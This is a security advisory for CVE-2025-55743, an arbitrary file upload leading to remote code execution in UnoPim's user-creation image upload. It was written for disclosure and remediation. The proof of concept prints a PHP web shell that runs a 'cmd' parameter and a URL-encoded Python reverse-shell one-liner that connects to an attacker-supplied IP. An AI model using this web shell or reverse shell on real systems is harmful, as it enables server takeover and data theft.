CVE-2025-55743: UnoPim vulnerable to remote code execution through Arbitrary File upload
Summary: Affected Functionality: Image upload at User creation Endpoint: /admin/settings/users/create
Details The image upload at the user creation feature performs only client side file type validation. A user can capture the request by uploading an image, capture the request through a Proxy like Burp suite. Make changes to the file extension and content. The .php file when accessed through the link runs the code we provided inside the file.
Modified part of the multipart request body: Content-Disposition: form-data; name="image[]"; filename="poc.php" Content-Type: application/x-php
<?php if(isset($REQUEST['cmd'])){ $cmd = ($REQUEST['cmd']); system($cmd); die; }?>
PoC 1. Upload an image file as profile picture during user creation , now capture the request and modify. File content: <?php if(isset($REQUEST['cmd'])){ $cmd = ($REQUEST['cmd']); system($cmd); die; }?> File name: poc.php Content-Type can be any, doesn't matter. 2. Access the uploaded file e.g. http://localhost:8000/storage/admins/21/poc.php?cmd=ls // pass the command to run as parameter value for cmd, example running ls command on the system
Likewise the following reverse shell code ( reverse shell of other languages ) can be executed to create a connection to attacker controlled system Command: python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AFINET,socket.SOCKSTREAM);s.connect(("YOURIP",7000));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn("sh")%27 // Make sure netcat is running on port 7000 // change IP accordingly
Impact Every user in the dashboard is allowed to change their profile picture, thus allowing any of these users to execute malicious actions at the Server level. Usually a server might host multiple applications, allowing execution of system commands allows complete control of the system. The impact of an RCE vulnerability can be full system compromise, access to database and filesystem, access other sensitive devices on the network. Please see the POC video: https://drive.proton.me/urls/PH1ESMKHMW#4Vxb2KNu3tmn
Recommendation: Extension Validation: Whitelist allowed extensions. ( use endswith() check rather than contains() as an attacker can bypass such a restriction with filename: poc.jpg.php
Other sources
UnoPim is an open-source Product Information Management (PIM) system built on the Laravel framework. Before 0.2.1, the image upload at the user creation feature performs only client side file type validation. A user can capture the request by uploading an image, capture the request through a Proxy like Burp suite. Make changes to the file extension and content. The vulnerability is fixed in 0.2.1.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2025-55743?
CVE-2025-55743 is considered a high severity vulnerability due to insufficient server-side validation of file types for image uploads.
How do I fix CVE-2025-55743?
To fix CVE-2025-55743, ensure server-side validation of the uploaded image files to prevent unauthorized file types from being processed.
What systems are affected by CVE-2025-55743?
CVE-2025-55743 affects versions up to 0.2.0 of the unopim/unopim package as installed via Composer.
Can CVE-2025-55743 lead to security breaches?
Yes, CVE-2025-55743 can potentially allow attackers to upload malicious files, leading to data breaches or system compromise.
Is user input validation sufficient to mitigate CVE-2025-55743?
No, user input validation alone is not sufficient; both client-side and server-side validation are necessary to mitigate CVE-2025-55743.